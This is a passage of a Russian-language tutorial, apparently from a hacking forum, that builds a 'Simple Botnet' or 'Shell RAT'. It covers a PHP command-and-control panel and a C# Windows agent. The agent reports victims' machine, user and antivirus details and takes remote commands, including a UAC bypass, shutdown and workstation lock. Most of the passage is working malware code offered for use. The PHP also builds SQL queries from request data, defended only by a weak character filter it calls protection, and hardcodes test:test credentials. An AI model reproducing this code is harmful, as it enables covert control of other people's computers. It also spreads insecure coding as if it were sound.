Мы написали функцию, которая будет выполнена при отправке POST запроса с переменной sysinfo. Данная функцию получает информацию из POST запроса, которую мы отправляем через наш модуль Agent, и записывает всё это в таблицу bots.

Мы создали класс Agent, но нет кода, который бы вызвал его. Исправим это: открываем класс нашей формы Form1.cs, и в функции Form1_load добавляем следующую строчку после первой
Agent.SystemInfo(url);
Эта строчка вызовет функцию из нашего класса Agent, передавая в функцию url адрес нашей панели. Запускаем..

3. Анализ консоли
Снимок экрана 2019-09-06 в 17.35.32.png


Видим, что консоль говорит нам No task, т.е, команда отсутствует. Функция вызвана, можно проверять базу данных.

4. Проверка базы данных на изменение
Снимок экрана 2019-09-06 в 17.39.44.png


PHP:
<html>
<head>
</head>
<body>
<style>
  .tab {
    width: 50%;
background:#404040;
color:#fff;
font-size:15px;
color:  #FFFF00 ;
text-align: center;
}

</style>
<?php
header('Content-Type: text/html; charset=utf-8');
include("inc/config.php");
$query ="SELECT `id`,`ip`,`pcname`,`username`,`sysinfo`,`avname` FROM bots";
$datares = mysqli_query($conn, $query) or die("Ошибка1 " . mysqli_error($conn));
$query2 = "SELECT `pcname` FROM bots";
$res2 = mysqli_query($conn, $query2) or die("Ошибка2 " . mysqli_error($conn));
$btcount=mysqli_num_rows($res2);
$n=mysqli_num_rows($datares);
//вывод на страничку в виде таблицы
echo "<table align=center class=tab border=1>
<tr><th class='supertable'>ID</th><th class='supertable'>IP</th><th class='supertable'>PC Name</th><th class='supertable'>Username</th><th class='supertable'>System Info</th><th class='supertable'>AntiVirus</th></tr>";

//вывод построчно
for($i=0;$i<$n;$i++)
{
  mysqli_data_seek($datares, $i);
    $datarow = mysqli_fetch_row($datares);
   $sysinfo = $datarow[4];
   $realsi = $sysinfo;
   if (strpos($sysinfo, 'Service Pack') !== false) $sysinfo = str_replace('Service Pack', 'SP', $sysinfo);
   if (strpos($sysinfo, 'Microsoft') !== false && strlen($sysinfo) >= 25) $sysinfo = str_replace('Microsoft', '', $sysinfo);
   if (strpos($sysinfo, 'Майкрософт') !== false && strlen($sysinfo) >= 25) $sysinfo = str_replace('Майкрософт', '', $sysinfo);
   if (strpos($sysinfo, 'Microsoft') == false && strlen($sysinfo) >= 30) $sysinfo =  mb_strimwidth($sysinfo, 0, 18, "...");
     if (strlen($procs) >= 25) $procs = mb_strimwidth($procs, 0, 19, "...");
echo
"<tr><td class='txt'>",$datarow[0],
"</td><td class='txt'>",$datarow[1],
"</td><td class='txt'>",$datarow[2],
"</td><td class='txt'>",$datarow[3],
"</td><td class='txt'>",$sysinfo,"<span class='CellComment'>".$realsi."</span>",
"</td><td class='txt'>",$datarow[5],
"</td></tr>";
}
echo "</table>";
?>
<style>
body {
  font: 13px/20px "Lucida Grande", Tahoma, Verdana, sans-serif;
   color:  #FFFF00 ;
  background-image: URL("images/image.jpg")
}
table {
    border-spacing: 5px;
}

td,tr,th {
    padding-left: 5px;
     padding-right: 5px;
}
.superbutton {
margin: 10px;
width:100px;
height:25px;
background:#404040;
color:#fff;
font-size:18px;
color:  #c4c401 ;
}
.supertable
{
  height: 100%;
  font-size: 15px;
  background-color: #383535;
  color: #c4c401;
  white-space: nowrap;
}
.txt
{
position:relative;
white-space: nowrap;
width: 5%;
color: #ffff66;
}
.CellComment{
  display:none;
  position:absolute;
  z-index:100;
  border:1px;
  background-color:#696969;
  border-style:solid;
  border-width:0.5px;
  border-color:#404040;
  padding:3px;
  color:#ffff66;
  top:30px;
  left:50px;
}

.txt:hover span.CellComment{
  display:block;
}
.stproc
{
color: #FFFF00;
}
</style>
</body>
</html>

Я не буду комментировать каждую строку, а лишь скажу, что скрипт берет инфу из бд и создает таблицу с этими данными. Добавил немножко примитивного дизайна, но это все на свой вкус.
Закачиваем скрипт на сервер, и переходим на него в браузере

5. Проверка статистики ботов
Снимок экрана 2019-09-06 в 18.03.28.png

Nice! Наш скрипт работает отлично. Если навести курсор на ячейку System Info , будет отображена дополнительная информация.

Со статистикой ботов закончили. Идем дальше..


2.2 Делаем статистику команд

В предыдущей части, мы создали таблицу и необходимые ячейки для хранения данных о задачах.
Нам осталось добавить ячейку в таблицу tasks, которая будет хранить в себе имя бота, для которого создан таск. Добавляем через phpMyAdmin

6. Создание новой колонки для таблицы tasks

Снимок экрана 2019-09-06 в 22.07.00.png


Теперь, нам нужно скопипастить код из скрипта bots.php, в новый созданный скрипт tasks.php, немножко изменив код. Создаем tasks.php и вставляем код

PHP:
<?php
header('Content-Type: text/html; charset=utf-8');
include ('inc/config.php');
$query ="SELECT cid,started,completed,target,cmd,arg1,arg2,arg3,status FROM tasks";
$result = mysqli_query($conn, $query) or die("Ошибка " . mysqli_error($conn));
mysqli_close($conn);
$n=mysqli_num_rows($result);
echo "<table align=center class=tab border=1>
<tr><th class='supertable'>CID</th><th class='supertable'>Started</th><th class='supertable'>Completed</th><th class='supertable'>Target</th><th class='supertable'>Command</th><th class='supertable'>Arguments</th><th class='supertable'>Status</th></tr>";
for($i=0;$i<$n;$i++)
{
mysqli_data_seek($result, $i);
$data_row = mysqli_fetch_row($result);
$cmdvalue = $data_row[4];
$arg1 = $data_row[5];
$arg2 = $data_row[6];
$arg3 = $data_row[7];
if ($arg1 != "" && $arg1 != null) $arg1 = $data_row[5]; else $arg1 = "null";
if ($arg2 != "" && $arg2 != null) $arg2 = ", ".$data_row[6]; else $arg2 = "";
if ($arg3 != "" && $arg3 != null) $arg3 = ", ".$data_row[7]; else $arg3 = "";
$args = $arg1.$arg2.$arg3.$arg4;
if (strlen($args) > 26) $args = mb_strimwidth($args, 0, 27, "...");
if ($data_row[8] == "completed") $class = "status--process";
if ($data_row[2] == null) $comptd = "null"; else $comptd = $data_row[2];
if ($data_row[8] == "failed") $class = "status--denied";
if ($data_row[8] == "processing") $class = "stproc";
echo
"<tr><td class='supertable'>",$data_row[0],
"</td><td class='txt'>",$data_row[1],
"</td><td class='txt'>",$comptd,
"</td><td class='txt'>",$data_row[3],
"</td><td class='txt'>",$cmdvalue,
"</td><td class='txt'>", $args,
"</td><td class='$class'>",$data_row[8],
"</td></tr>";
}
echo "</table>";
?>
<style>
body {
  font: 13px/20px "Lucida Grande", Tahoma, Verdana, sans-serif;
   color:  #FFFF00 ;
}
table {
  width: 50%;
    border-spacing: 5px;
}

td,tr,th {
    padding-left: 5px;
     padding-right: 5px;
}
.superbutton {
margin: 10px;
width:100px;
height:25px;
background:#404040;
color:#fff;
font-size:18px;
color:  #c4c401 ;
}
.supertable
{
  height: 100%;
  font-size: 15px;
  background-color: #383535;
  color: #fffa00;
  text-align: center;
}
.txt
{
white-space: nowrap;
width: 5%;
color: #bab721;
text-align: center;
white-space:nowrap;
}
.stproc
{
  text-align: center;
color: #c4c401;
}
  .tab {
background:#404040;
color:#fff;
font-size:15px;
color:  #FFFF00 ;
text-align: center;
}
</style>
</body>
</html>

Загружаем на сервер, и чекаем.

7. Проверка статистики команд
Снимок экрана 2019-09-06 в 22.20.31.png

Как видно на скриншоте, статистика команд тоже работает. Как видим, ячейка Target пуста, поскольку у нас не было возможности отправить команду для определенного бота. Target будет содержать в себе имя бота, для которого мы отправляли команду. Исправим это. Открываем index.php и вставляем следующий код

PHP:
<!DOCTYPE html>
<html>
<head>
  <title>Web Controller</title>
    <meta charset="UTF-8">
</head>
  <body style="background-color:#212020">
    <div style="display: table; margin: 0 auto; text-align: center;">
   <form align="center" action="server.php" method="POST">
  <select name="cmd" align="center">
  <option value="q">Send Message</option>
  <option value="w">Open CD</option>
  <option value="e">Close CD</option>
  <option value="r">ByPass UAC</option>
  <option value="t">Terminate application</option>
  </select>
  <p><input type="text" placeholder="Hello World!" name="message"></p>
  <?
  include("inc/config.php");
$query ="SELECT pcname from bots";
$query_prc = mysqli_query($conn, $query) or die("Ошибка " . mysqli_error($conn));
$bots_lenght=mysqli_num_rows($query_prc);
mysqli_close($conn);
  echo('<div  class="dropdown dropdown-dark">');
echo ('<select class="dropdown-select" name=pcname maxlength=50 size=1>');
$i=0;
echo ("<option disabled selected>Select bot</option>");
echo ("<option value='all'>For all bots</option>");
while ($i < $bots_lenght)
{
  mysqli_data_seek($query_prc, $i);
  $pcrow = mysqli_fetch_row($query_prc);
  $pc = $pcrow[0];
  echo ("<option>".$pc."</option>");
  $i++;
  }
echo('</select></td><td></div>');
  ?>
  <p><input type=submit value="Send"></p>
  </form></div>
  </body>

И обновляем скрипт server.php, чтобы он записывал цель в базу данных

PHP:
<?php
error_reporting(E_ALL);
ini_set('display_errors', TRUE);
ini_set('display_startup_errors', TRUE);
include("inc/config.php");
if (isset($_POST['cmd']) && $_POST['cmd'] != "" && $_POST['cmd'] != null)
{
$target = $_POST['target'];
$cmd = $_POST['cmd'];
$arg1 = "null";
$arg2 = "null";
$arg3 = "null";
if ($cmd == "q") $arg1 = $_POST['message'];
     $started = date("M,d,Y H:i:s");
       $sql = "INSERT INTO tasks (started, cmd, arg1, arg2, arg3,target,`status`) VALUES ('$started','$cmd','$arg1','$arg2','$arg3','$target','processing')";
$result = mysqli_query($conn, $sql) or die("Ошибка " . mysqli_error($conn));
header('Location: '.$url);
}
?>
Так же обновляем скрипт api.php, чтобы он выдавал команду только для конкретного бота

PHP:
<?php
include("inc/config.php");
if (isset($_POST['getcmd']))
{
$target = $_POST['target'];
$query ="SELECT cmd,arg1,arg2,arg3,cid FROM tasks WHERE target = '$target' AND `status`='processing'";
$result = mysqli_query($conn, $query) or die("Ошибка " . mysqli_error($conn));
$row = mysqli_fetch_row($result);
$cmd = $row[0];
$arg1 = $row[1];
$arg2 = $row[2];
$arg3 = $row[3];
$cid = $row[4];
if ($cmd == "" || $cmd == null) $cmd = "null";
if ($arg1 == "" || $arg1 == null) $arg1 = "null";
if ($arg2 == "" || $arg2 == null) $arg2 = "null";
if ($arg3 == "" || $arg3 == null) $arg3 = "null";
if ($cid == "" || $cid == null) $cid = "null";
$output_array = array( 'task'=>['cmd' => $cmd, 'arg1' => $arg1, 'arg2' => $arg2, 'arg3' => $arg3, 'cid' => $cid] );
echo json_encode( $output_array );
}

if (isset($_POST['cmpcmd']))
{
  $status = $_POST['cmpcmd'];
  $cid = $_POST['cid'];
   $completed = date("M,d,Y H:i:s");
if ($status == "1")
$sql = "UPDATE tasks SET `status`='completed',`completed`='$completed' WHERE `cid`='$cid'";
else if ($status == "0")  $sql = "UPDATE tasks SET `status`='failed',`completed`='$completed' WHERE `cid`='$cid'";
if (mysqli_query($conn, $sql)) echo "";
else echo "Error: " . $sql . "<br>" . mysqli_error($conn);
}
if (isset($_POST['sysinfo']))
{
  $ip = $_SERVER['REMOTE_ADDR'];
  $username = $_POST['username'];
  $pcname = $_POST['pcname'];
  $sysinfo = $_POST['sysinfo'];
  $avname = $_POST['avname'];
   $completed = date("M,d,Y H:i:s");
$sql = "INSERT INTO bots (ip, pcname, username, sysinfo, avname) VALUES ('$ip','$pcname','$username','$sysinfo', '$avname')";
if (mysqli_query($conn, $sql)) echo "";
else echo "Error: " . $sql . "<br>" . mysqli_error($conn);
}
?>

Закачиваем все измененные скрипты на сервер. Теперь нужно немного поправить наш серверный код, чтобы при отправке POST запроса, он отправлял и имя пк. Это нужно, чтобы скрипт определил его как таргета.

8. Добавление новых параметров для POST запроса

Добавляем строчку values["target"] = Environment.MachineName; после строки values["getcmd"] = "";
Проверяем. Запускаем бот. Заходим на главную страницу командного центра

9. Проверка командного центра

Теперь нам виден список с ботами, для которых можно отправить команду. Но так, как есть только один живой бот, ему мы и отправим команду.

10. Повторная проверка статистики команд

Теперь ячейка Target содержит имя компьютера, для которого мы отправили команду. После выполнения команды будет выглядеть так

11. Проверка статистики команд на успешное выполнение команды

Снимок экрана 2019-09-06 в 22.39.44.png

Статус показывает что команда выполнена успешно. Все работает так, как мы и хотели.


2.3 Размещаем все статистики в отдельные вкладки

Для удобства (чтобы каждый раз не заходить на отдельные страницы) на главной странице сделаем вкладки со статистиками и отдельную вкладку для отправки команды. Открываем и обновляем код index.php

PHP:
  <link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.6.3/css/font-awesome.min.css" rel="stylesheet"/>
   <link rel="stylesheet" type="text/css" href="css/tabstatic.css">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
  <title>Simple Botnet</title>
<script type="text/javascript" src="js/addclasskillclass.js"></script>
  <script type="text/javascript" src="js/attachevent.js"></script>
  <script type="text/javascript" src="js/addcss.js"></script>
  <script type="text/javascript" src="js/tabtastic.js"></script>
    <link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.6.3/css/font-awesome.min.css" rel="stylesheet"/>
  <link rel="stylesheet" type="text/css" href="css/inputs.css">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<div id="pagecontent">
<h2 align="center" class="tabset_label">Table of Contents</h2>
<ul align="center" class="tabset_tabs">
  <li class="firstchild"><a href="#cmd" class="preActive active">Send command</a></li><li><a class="preActive postActive" href="#bots">Bots</a></li><li><a class="preActive" href="#tasks">Tasks</a></li>
</ul>
<div id="cmd" class="tabset_content tabset_content_active">
  <h2 class="tabset_label">Send command</h2>
   <div style="display: table; margin: 0 auto; text-align: center;">
   <form align="center" action="server.php" method="POST">
  <select name="cmd" align="center">
  <option value="q">Send Message</option>
  <option value="w">Open CD</option>
  <option value="e">Close CD</option>
  <option value="r">ByPass UAC</option>
  <option value="t">Terminate application</option>
  </select>
  <p><input type="text" placeholder="Hello World!" name="message"></p>
  <?
  include("inc/config.php");
$query ="SELECT pcname from bots";
$query_prc = mysqli_query($conn, $query) or die("Ошибка " . mysqli_error($conn));
$bots_lenght=mysqli_num_rows($query_prc);
mysqli_close($conn);
  echo('<div  class="dropdown dropdown-dark">');
echo ('<select class="dropdown-select" name=target maxlength=50 size=1>');
$i=0;
echo ("<option disabled selected>Select bot</option>");
echo ("<option value='all'>For all bots</option>");
while ($i < $bots_lenght)
{
  mysqli_data_seek($query_prc, $i);
  $pcrow = mysqli_fetch_row($query_prc);
  $pc = $pcrow[0];
  echo ("<option>".$pc."</option>");
  $i++;
  }
echo('</select></td><td></div>');
  ?>
  <p><input type=submit value="Send"></p>
  </form></div>
</div>


<div id="bots" class="tabset_content">
  <h2 class="tabset_label">Bots</h2>
  <?php include("bots.php"); ?>
</div>

<div id="tasks" class="tabset_content">
  <h2 class="tabset_label">Tasks</h2>
  <?php include("tasks.php"); ?>
</div>
</body></html>
<style>
  body {
background:#212121;
color:#fff;
font-size:15px;
color:  #FFFF00 ;
text-align: center;
}

</style>

Для работы командного центра, так же потребуется несколько файлов .css и .js. Их вы найдете в исходнике, в самом конце статьи.

Загружаем обновленный index.php, и заходим на панель.

12. Проверка обновленного командного центра

Снимок экрана 2019-09-06 в 23.24.06.png


Отлично! Мы добавили удобства нашему командному центру.


2.4 Делаем базовую защиту от SQL

Наша панель очень уязвима к SQL инъекциям, поэтому сделаем простой фильтр. Насколько вы помните, многие SQL запросы строятся с помощью переменных, полученных через POST запрос. Мы просто уберем несколько символов из переменной POST. Открываем скрипт api.php и находим строчку
PHP:
$target = $_POST['target'];
Переменная берет значение прямо с POST запроса. Необходимо сделать фильтрацию символов. Добавляем после вышеуказанной строчки еще одну:
PHP:
$target = preg_replace("~[\\/:*?'<>|]~", ' ', $target);
С помощью этой строчки, мы удаляем из переменной следующие символы \\/:*?'<>|, чтобы они не могли вызвать SQL инъекцию. Повторяем процедуру.

PHP:
<?php
include("inc/config.php");
if (isset($_POST['getcmd']))
{
$target = $_POST['target'];
$target = preg_replace("~[\\/:*?'<>|]~", ' ', $target);
$query ="SELECT cmd,arg1,arg2,arg3,cid FROM tasks WHERE target = '$target' AND `status`='processing'";
$result = mysqli_query($conn, $query) or die("Ошибка " . mysqli_error($conn));
$row = mysqli_fetch_row($result);
$cmd = $row[0];
$arg1 = $row[1];
$arg2 = $row[2];
$arg3 = $row[3];
$cid = $row[4];
if ($cmd == "" || $cmd == null) $cmd = "null";
if ($arg1 == "" || $arg1 == null) $arg1 = "null";
if ($arg2 == "" || $arg2 == null) $arg2 = "null";
if ($arg3 == "" || $arg3 == null) $arg3 = "null";
if ($cid == "" || $cid == null) $cid = "null";
$output_array = array( 'task'=>['cmd' => $cmd, 'arg1' => $arg1, 'arg2' => $arg2, 'arg3' => $arg3, 'cid' => $cid] );
echo json_encode( $output_array );
}

if (isset($_POST['cmpcmd']))
{
  $status = $_POST['cmpcmd'];
  $status = preg_replace("~[\\/:*?'<>|]~", ' ', $status);
  $cid = $_POST['cid'];
  $cid = preg_replace("~[\\/:*?'<>|]~", ' ', $cid);
   $completed = date("M,d,Y H:i:s");
if ($status == "1")
$sql = "UPDATE tasks SET `status`='completed',`completed`='$completed' WHERE `cid`='$cid'";
else if ($status == "0")  $sql = "UPDATE tasks SET `status`='failed',`completed`='$completed' WHERE `cid`='$cid'";
if (mysqli_query($conn, $sql)) echo "";
else echo "Error: " . $sql . "<br>" . mysqli_error($conn);
}
if (isset($_POST['sysinfo']))
{
      $ip = $_SERVER['REMOTE_ADDR'];
  $username = $_POST['username'];
  $username = preg_replace("~[\\/:*?'<>|]~", ' ', $username);
  $pcname = $_POST['pcname'];
  $pcname = preg_replace("~[\\/:*?'<>|]~", ' ', $pcname);
  $sysinfo = $_POST['sysinfo'];
  $sysinfo = preg_replace("~[\\/:*?'<>|]~", ' ', $sysinfo);
  $avname = $_POST['avname'];
  $avname = preg_replace("~[\\/:*?'<>|]~", ' ', $avname);
$query = "SELECT pcname FROM bots";
$res2 = mysqli_query($conn, $query) or die("Ошибка " . mysqli_error($conn));
$btcount=mysqli_num_rows($res2);
if ($btcount < 1)
{
   $completed = date("M,d,Y H:i:s");
$sql = "INSERT INTO bots (ip, pcname, username, sysinfo, avname) VALUES ('$ip','$pcname','$username','$sysinfo', '$avname')";
if (mysqli_query($conn, $sql)) echo "";
else echo "Error: " . $sql . "<br>" . mysqli_error($conn);
}
}
?>

Защищаем и остальные скрипты

PHP:
<?php
error_reporting(E_ALL);
ini_set('display_errors', TRUE);
ini_set('display_startup_errors', TRUE);
include("inc/config.php");
if (isset($_POST['cmd']) && $_POST['cmd'] != "" && $_POST['cmd'] != null)
{
$target = $_POST['target'];
$target = preg_replace("~[\\/:*?'<>|]~", ' ', $target);
$cmd = $_POST['cmd'];
$cmd = preg_replace("~[\\/:*?'<>|]~", ' ', $cmd);
$arg1 = "null";
$arg2 = "null";
$arg3 = "null";
if ($cmd == "q") $arg1 = preg_replace("~[\\/:*?'<>|]~", ' ', $_POST['message']);
     $started = date("M,d,Y H:i:s");
       $sql = "INSERT INTO tasks (started, cmd, arg1, arg2, arg3,target,`status`) VALUES ('$started','$cmd','$arg1','$arg2','$arg3','$target','processing')";
$result = mysqli_query($conn, $sql) or die("Ошибка " . mysqli_error($conn));
header('Location: '.$url);
}
?>

После этих изменений, выполнять SQL инъекции будет не так уж и просто.


3. Добавляем в копилку бота еще несколько команд

Наш бот пока что умеет работать только с несколькими командами - Отправить сообщение, Открыть или Закрыть CD, повысить привилегии за счет обхода UAC, и завершить работу бота.

Мы научим бота поддерживать еще несколько команд, а именно, Shutdown PC, Restart PC, Lock PC, т.е выключить , перезагрузить и заблокировать компьютер.
Для начала, нам нужно добавить команды в самом центре, т.е в панели. Открываем index.php, находим следующий код
HTML:
<option value="q">Send Message</option>
<option value="w">Open CD</option>
<option value="e">Close CD</option>
<option value="r">ByPass UAC</option>
<option value="t">Terminate application</option>
И заменяем на этот
HTML:
  <option value="q">Send Message</option>
  <option value="w">Open CD</option>
  <option value="e">Close CD</option>
  <option value="r">ByPass UAC</option>
  <option value="t">Terminate application</option>
  <option value="y">Shutdown PC</option>
  <option value="u">Restart PC</option>
  <option value="i">Lock PC</option>

Сохраняем и загружаем index.php на сервер.

Как видим, список команд дополнился еще тремя командами. Теперь нужно научить серверного бота принимать новые команды и выполнять их. У нас есть следующий код с оператором switch

C#:
using System;
using System.Management;
using System.Net;
using System.Collections.Specialized;
using System.Text;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Diagnostics; // ссылки на пространства имен

namespace SimpleBotnet
{
    public class Agent
    {
        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;
        private static LowLevelKeyboardProc _proc = HookCallback;
        private static IntPtr _hookID = IntPtr.Zero;
        const int SW_HIDE = 0;

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook,
             LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, // импорт необходимых для работы фукнций библиотек
            IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

        [DllImport("kernel32.dll")]
        static extern IntPtr GetConsoleWindow();

        [DllImport("user32.dll")]
        static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
        private static IntPtr SetHook(LowLevelKeyboardProc proc)

        {

            using (Process curProcess = Process.GetCurrentProcess())

            using (ProcessModule curModule = curProcess.MainModule)

            {

                return SetWindowsHookEx(WH_KEYBOARD_LL, proc,

                    GetModuleHandle(curModule.ModuleName), 0);
            }
        }
        private delegate IntPtr LowLevelKeyboardProc(

            int nCode, IntPtr wParam, IntPtr lParam);


        private static IntPtr HookCallback(

            int nCode, IntPtr wParam, IntPtr lParam)

        {
            return CallNextHookEx(_hookID, nCode, wParam, lParam);
        }
        private static string pcname;
        private static string username;
        private static string osname;
        private static string osarch; // объявление необходимых переменных
        private static string osvers;
        private static string avname = "Undefined";
        public static void SystemInfo(string url) // фукнция, которую мы вызываем в главном классе, передавая url в качестве string значения
        {
            try
            {
                Resolver.RegisterDependencyResolver(); // вызываем встроенные библиотеки
                try
                {
                    Agent si = new Agent(); // создаем новый объект класса
                    si.getOperatingSystemInfo(); // вызываем функцию для сбора информации
                    var searcher = new ManagementObjectSearcher("root\\SecurityCenter2",
                                                    "SELECT * FROM AntiVirusProduct");

                    foreach (ManagementObject queryObj in searcher.Get())
                    {
                        string displayName = (string)queryObj["displayName"];
                        avname = $"Antivirus: {displayName}";
                        if (avname == null || avname == "") avname = "null";

                        uint productState = (uint)queryObj["productState"];
                        uint secutityProvider = (productState & 0xff0000) >> 16;

                        uint realtimeStatus = (productState & 0xff00) >> 8;
                        uint signatureStatus = (productState & 0xff);
                        switch (signatureStatus)
                        {
                            case 0x00:
                                break;
                            case 0x10:
                                break;
                            default:
                                break;
                        }
                    }
                    Console.ReadLine();

                }
                catch (Exception ex)
                {
                    Console.WriteLine("Op: 3 \n" + ex.ToString());
                }

                WebClient cl = new WebClient(); // создаем новый клиент
                var values = new NameValueCollection(); // создаем новый элемент для хранения POST параметров
                values["sysinfo"] = pcname;
                values["pcname"] = pcname;
                values["username"] = username;
                values["sysinfo"] = osname + " " + osvers + " " + osarch;
                values["avname"] = avname;
                var upload = cl.UploadValues(url, values); // отправляем всё это через POST запрос
                var result = Encoding.Default.GetString(upload); // получаем результат отправки
                Console.WriteLine("Result: " + result.ToString()); // выводим результат в консоль
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString()); // если при выполнении кода возникла ошибка, выводим причину в консоль
            }
        }

        public void getOperatingSystemInfo()  // основная функция сбора информации
        {
            try
            {
                pcname = Environment.MachineName; // получаем имя компьютера
                username = Environment.UserName; // получаем имя пользователя
                ManagementObjectSearcher mos = new ManagementObjectSearcher("select * from Win32_OperatingSystem");
                foreach (ManagementObject managementObject in mos.Get())
                {
                    if (managementObject["Caption"] != null)
                    {
                        osname = managementObject["Caption"].ToString();   //Display operating system caption
                    }
                    if (managementObject["OSArchitecture"] != null)
                    {
                        osarch = managementObject["OSArchitecture"].ToString();   //Display operating system architecture.
                    }
                    if (managementObject["CSDVersion"] != null)
                    {
                        osvers = managementObject["CSDVersion"].ToString();     //Display operating system version.
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
            }
        }
        public static class Resolver // класс с функцией для вызова встроенных библиотек
        {
            private static volatile bool _loaded;

            public static void RegisterDependencyResolver()
            {
                try
                {
                    if (!_loaded)
                    {
                        AppDomain.CurrentDomain.AssemblyResolve += OnResolve;
                        _loaded = true;
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine(ex.ToString());
                }
            }

            private static Assembly OnResolve(object sender, ResolveEventArgs args)
            {

                Assembly execAssembly = Assembly.GetExecutingAssembly();
                string resourceName = String.Format("{0}.{1}.dll",
                    execAssembly.GetName().Name,
                    new AssemblyName(args.Name).Name);

                using (var stream = execAssembly.GetManifestResourceStream(resourceName))
                {
                    int read = 0, toRead = (int)stream.Length;
                    byte[] data = new byte[toRead];

                    do
                    {
                        int n = stream.Read(data, read, data.Length - read);
                        toRead -= n;
                        read += n;
                    } while (toRead > 0);

                    return Assembly.Load(data);
                }
            }

        }
    }
}

Мы добавим поддержку команд для выключения и перезагрузки команд с помощью следующего кода

C#:
                        case "y":
                            try
                            {
                                Process.Start("shutdown", "/s /t 0"); // Shutdown PC
                                Complete();
                            }
                            catch
                            {
                                Error();
                            }
                            break;
                        case "u":
                            try
                            {
                                Process.Start("shutdown", "/r /t 0");  // Restart PC
                                Complete();
                            }
                            catch
                            {
                                Error();
                            }
                            break;

Выключение и перезагрузка выполняются с помощью стандартных средств Windows. Для блокировки компьютера, нужно будет импортировать конкретную библиотеку, и вызвать функцию, которая будет блокировать компьютер с помощью импортированной библиотеки. Импортируем библиотеку в не функций, и чтоб код был в классе
C#:
        [DllImport("user32.dll")]
        public static extern void LockWorkStation();
Теперь, добавляем к оператору switch еще одно правило
C#:
                        case "i":
                            try
                            {
                                LockWorkStation(); // Lock PC
                                Complete();
                            }
                            catch
                            {
                                Error();
                            }
                            break;
Код с оператором switch будет выглядеть примерно так
C#:
                    switch (cmddata.cmd)
                    {
                        case "q":
                            try
                            {
                                byte[] bytes1 = Encoding.UTF8.GetBytes(cmddata.args[0]); // получаем байты первого аргумента
                                string message = Encoding.UTF8.GetString(bytes1); // получаем сам текст из байтов
                                MessageBox.Show(message); // Вывести сообщение
                                Complete();
                            }
                            catch
                            {
                                Error();
                            }
                            break;
                        case "w":
                            try
                            {
                                mciSendString("set cdaudio door open", null, 0, IntPtr.Zero); // Открыть CD
                                Complete();
                            }
                            catch
                            {
                                Error();
                            }
                             break;
                        case "e":
                            try
                            {
                                mciSendString("set cdaudio door closed", null, 0, IntPtr.Zero); // Закрыть CD
                                Complete();
                            }
                            catch
                            {
                                Error();
                            }
                            break;
                        case "r":
                            try
                            {
                                Complete();
                                PrivEsc();
                            }
                            catch
                            {
                                Error();
                            }
                            break;
                        case "t":
                            try
                            {
                                Environment.Exit(0);
                                Complete();
                            }
                            catch
                            {
                                Error();
                            }
                            break;
                        case "y":
                            try
                            {
                                Process.Start("shutdown", "/s /t 0"); // Shutdown PC
                                Complete();
                            }
                            catch
                            {
                                Error();
                            }
                            break;
                        case "u":
                            try
                            {
                                Process.Start("shutdown", "/r /t 0");  // Restart PC
                                Complete();
                            }
                            catch
                            {
                                Error();
                            }
                            break;
                        case "i":
                            try
                            {
                                LockWorkStation(); // Lock PC
                                Complete();
                            }
                            catch
                            {
                                Error();
                            }
                            break;
                    }
Запускаем бот, заходим на наш командный центр и отправляем команду Lock PC

Видим, что команда была выполнена. Смотрим на экран машины, на котором запущен бот

19. Успешное выполнение команды
win7blogin.jpg

Отлично! Наша команда была успешно выполнена.


4. Делаем простую авторизацию

Чтобы немного обезапасить себя от чужих глаз, сделаем простейшую авторизацию для доступа к командному центру. Создаем новый скрипт login.php со следующим содержимым

PHP:
<?
include("inc/config.php");
session_start();
$auth = $_SESSION["auth"];
if ($auth == "1")
header('Location:'.$url);
else
if (isset($_POST['username']) && isset($_POST['password']))
{
    $username = $_POST['username'];
    $password = $_POST['password'];
    if ($username == "test" && $password == "test")
    {
        $_SESSION['auth'] = "1";
        header('Location:'.$url);
    }
}
else
{
?>
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>Login</title>
</head>
  <link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.6.3/css/font-awesome.min.css" rel="stylesheet"/>
  <link rel="stylesheet" type="text/css" href="css/inputs.css">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
     <form align="center" action="" method="POST">
  <p><input type="text" placeholder="Username" class="supertext" name="username"></p>
  <p><input type="password" placeholder="Password" class="supertext" name="password"></p>
<p><input type="submit" value="Login"></p></form>
<style>
body {
    background: #404040; /* Цвет фона */
    color:     #FFFF00 ; /* Цвет текста */
}
</style>
</body>
<html>
<?
}
?>
Из кода видно, что мы можем войти только с помощью данных test : test. Скрипт может как отправить данные через форму, так и получить POST запрос. Если мы уже авторизованы, скрипт направит нас на главную страницу командного центра. В обратном случае отобразится формв для входа. Теперь, в index.php мы должны проверить, авторизован пользователь или нет. Если авторизован, продолжаем работу с командным центром, если нет, переадресовываем его на страницу входа. Обновляем скрипт index.php
PHP:
<?
session_start();
$auth = $_SESSION["auth"];
if ($auth == "1")
{
?>
  <link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.6.3/css/font-awesome.min.css" rel="stylesheet"/>
   <link rel="stylesheet" type="text/css" href="css/tabstatic.css">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
  <title>Shell RAT</title>
<script type="text/javascript" src="js/addclasskillclass.js"></script>
